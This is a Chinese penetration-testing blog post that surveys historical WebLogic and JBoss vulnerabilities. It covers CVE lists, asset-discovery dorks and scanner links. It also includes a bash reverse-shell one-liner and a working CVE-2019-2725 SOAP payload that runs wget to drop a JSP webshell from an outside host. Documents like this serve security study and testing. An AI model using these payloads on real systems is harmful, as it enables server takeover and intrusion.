Weblogic及Jboss常见历史漏洞

发布于 2021-02-15  562 次阅读


《渗透测试》目录

常见历史漏洞-Weblogic、Jboss

一、Weblogic相关介绍

weblogic:WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。

Weblogic特征:

端口:7001

Web界面:Error 404--Not Found

历史漏洞

#控制台路径泄露
    Weakpassword
    
#SSRF
    CVE-2014-4210

#任意文件上传
    CVE-2018-2894

#JAVA反序列化
    CVE-2016-0638
    CVE-2016-3510
    CVE-2017-3248
    CVE-2018-2628
    CVE-2018-2893
    CVE-2019-2725
    CVE-2019-2729
    CVE_2019_2890

#XMLDecoder反序列化
    CVE-2017-10271
    CVE-2017-3506
    CVE-2020-2551
    CVE-2020-2883
    CVE-2020-2555
    CVE-2019-17267
    CVE-2020-14882
    CVE-2020-14841
    CVE-2020-14825
    CVE-2020-14859
    CVE-2021-2109

主要影响版本
    Weblogic 10.3.6.0
    Weblogic 12.1.3.0
    Weblogic 12.2.1.1
    Weblogic 12.2.1.2
    Weblogic 12.2.1.3
    Weblogic 14.1.1.0
  • weakpassword:Weblogic存在管理后台,通过账号密码登录,由于管理员的疏忽,经常会使用弱口令,或者默认的账户名密码
  • SSRF漏洞(CVE-2014-4210):Weblogic中存在一个SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而可以攻击内网中redis、fastcgi等脆弱组件。https://www.hetianlab.com/expc.do?ec=ECID9d6c0ca797abec2017021014312200001
  • 任意文件上传漏洞(CVE-2018-2894):Oracle 7月更新中,修复了Weblogic Web Service Test Page中一处任意文件上传漏洞,Web Service Test Page 在“生产模式”下默认不开启,所以该漏洞有一定 限制。利用该漏洞,可以上传任意jsp文件,进而获取服务器权限。
  • XML Decoder反序列化漏洞(CVE-2017-10271):Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。
  • Java反序列化漏洞(CVE-2018-2628):Oracle 2018年4月补丁中,修复了Weblogic Server WLS Core Components中出现的一个反序列化漏洞(CVE-2018-2628),该漏洞通过t3协议触发,可导致未授权的用户在远程服务器执行任意命令。

Weblogic漏洞发现

1.获取资产

  • shodan fofa 钟馗之眼等

----app="BEA-WebLogic-Server"

  • google hacking

----inurl:漏洞地址

----intitle:weblogic等    

2.批量扫描脚本        

https://github.com/rabbitmask/WeblogicScan


Weblogic漏洞利用(有待修改)

  • 漏洞路径:_async/AsyncResponseService
路径为 网址:端口/_async/AsyncResponseService
  • 验证扫描结果(执行命令and反弹shell)
1.使用工具对目标进行漏洞扫描并执行命令bash -i >& /dev/tcp/接收shell的ip/接收端口 0>&1
2.抓包上传payload
payload(CVE-2019-2725)
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"> <soapenv:Header><wsa:Action>xx</wsa:Action><wsa:RelatesTo>xx</wsa:RelatesTo><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><void class="java.lang.ProcessBuilder"><array class="java.lang.String" length="3"><void index="0"><string>/bin/bash</string></void><void index="1"><string>-c</string></void><void index="2"><string>wget http://0.0.0.0:8000/a.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/zm.jsp</string></void></array><void method="start"/></void></work:WorkContext></soapenv:Header><soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope>

二、Jboss相关介绍

Jboss:一个基于J2EE的开放源代码的应用服务器。JBoss是一个管理EJB的容器和服务器,但JBoss核心服务不包括支持servlet/JSP的WEB容器,一般与Tomcat或Jetty绑定使用。Jboss是Java EE应用服务器(就像Apache是web服务器一样),专门用来运行Java EE程序的。


Jboss历史漏洞

  • 1.访问控制不严导致的漏洞
  • JMX Console未授权访问Getshell
  • JMX Console HtmlAdaptor Getshell(CVE-2007-1036)
  • JMX控制台安全验证绕过漏洞(CVE-2010-0738)
  • Administration Console 弱口令 Getshell
  • 2.反序列化漏洞
  • JBoss JMXInvokerServlet 反序列化漏洞 (CVE-2015-7501)
  • JBoss EJBInvokerServlet 反序列化漏洞
  • JBosS AS 6.X 反序列化漏洞 (CVE-2017-12149)
  • JBoss 4.x JBossMQ JMS 反序列化漏洞 (CVE-2017-7504)

Jboss识别与漏洞

Jboss组件识别

Jboss页面

Jboss漏洞检测(批量):https://github.com/GGyao/jbossScan

CVE-2017-12149漏洞检测
http://目标IP:8080/invoker/readonly访问该url,若显示状态码为500的报错界面,则证明漏洞是存在的
CVE-2017-12149漏洞概述:该漏洞为 Java反序列化错误类型,存在于 Jboss的HttpInvoker组件中的ReadOnlyAccessFilter过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了漏洞。
CVE-2017-12149漏洞利用(反弹shell):https://github.com/joaomatosf/jexboss

人生就像赛跑,不在乎你是否第一个到达终点,而在乎你是否跑完全程。